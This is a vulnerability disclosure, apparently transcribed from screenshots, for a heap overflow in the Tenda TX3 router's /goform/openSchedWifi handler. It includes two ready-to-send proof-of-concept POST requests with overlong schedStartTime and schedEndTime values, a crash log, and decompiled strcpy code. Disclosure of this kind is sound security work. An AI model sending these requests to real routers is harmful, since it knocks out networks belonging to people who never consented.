Vendor of the products: Tenda

Affected products: Tenda TX3 V16.03.13.11_multi

Hardware Link: https://www.tendacn.com/tw/download/detail-4015.html

Vulnerability Description

A buffer overflow vulnerability was discovered in Tenda TX3 V16.03.13.11_multi, triggered by the schedStartTime and schedEndTime parameters at /goform/openSchedWifi. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted packet.

POC

send

```
Request
 Pretty Raw Hex □ \n □
1 POST /goform/openSchedWifi HTTP/1.1
2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: */*
5 Accept - Language: en-US, en; q=0.5
6 Accept-Encoding: gzip, deflate
7 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1102
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
   http://192.168.0.1/wifi_time.html?random=0.25690605709286596&
13
14 schedWifiEnable=1&schedStartTime=
   aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaag
   aaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha
   abiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
  byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaac
   paacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadq
   aadhaadiaadjaadkaadlaadmaadnaadoaadpaadgaadraadsaadtaaduaadvaadwa
   adxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaa
   eoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaf
   faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafv
   aafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagma
   agnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaa
  heaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaah
   uaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaail
   aaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca
   ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaa
   jtaajuaajvaajwaajxaajyaaj00%3A00&schedEndTime=01%3A00&timeType=1&
   day=1%2C1%2C1%2C1%2C1%2C1
```

You can see that the router has crashed.

```
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
func:cfms_mib_proc_handle, line:203 connect cfmd is error.
connect: No such file or directory
free(): invalid next size (normal)
zsh: abort sudo chroot ./ ./qemu-arm-static ./bin/httpd
```

Similarly, the schedEndTime parameter can also trigger this vulnerability.

```
Pretty Raw Hex □ \n □
 1 POST/goform/openSchedWifi HTTP/1.1
 2 Host: 192.168.0.1
3 User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:109.0) Gecko/20100101
  Firefox/115.0
4 Accept: */*
5 Accept - Language: en - US, en; q=0.5
6 Accept-Encoding: gzip, deflate
7 | Content-Type: application/x-www-form-urlencoded; charset=UTF-8
8 X-Requested-With: XMLHttpRequest
9 Content-Length: 1102
10 Origin: http://192.168.0.1
11 Connection: close
12 Referer:
   http://192.168.0.1/wifi_time.html?random=0.25690605709286596&
13
14 | schedWifiEnable=1&schedStartTime=00%3A00&schedEndTime=
   aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaq
   aaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabha
   abiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaa
   byaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaac
   paacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadg
   aadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwa
   adxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaa
   eoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaf
   faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafv
   aafwaafxaafyaafzaaqbaaqcaaqdaaqeaaqfaaqqaaqhaaqiaaqjaaqkaaqlaaqma
   agnaagoaagpaaggaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaa
   heaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahgaahraahsaahtaah
   uaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaail
   aaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajca
   ajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaa
   jtaajuaajvaajwaajxaajyaaj01%3A00&timeType=1&day=
   1%2C1%2C1%2C1%2C1%2C1
```

Router crash

Code in httpd

In the setSchedwifi function, the program first retrieves the values of schedStartTime and schedEndTime, storing them in v5 and v6. Then, it uses malloc to allocate a block of memory. Finally, it uses strcpy to copy the values of v5 and v6 into the allocated memory without any length restriction, leading to a heap overflow.

```
v8,
"%d,%d,%d,%d,%d,%d,%d",
 47
 48
src = (char *)v11;
if ( v10 )
 59
60
 61
    {
  *v10 = atoi((const char *)wifi_enable) != 0;
  v13 = atoi((const char *)v4) != 0;
63
      v10[1] = v13;

strcpy(v10 + 2, (const char *)v3);

strcpy(v10 + 10, (const char *)v6);

v14 = v10 + 17;

for ( i = 0; i != 7; ++i )
 64
 66
67
68
         v16 = switch_day[i];
70
   0002DEF8 setSchedWifi:37 (3DEF8)
```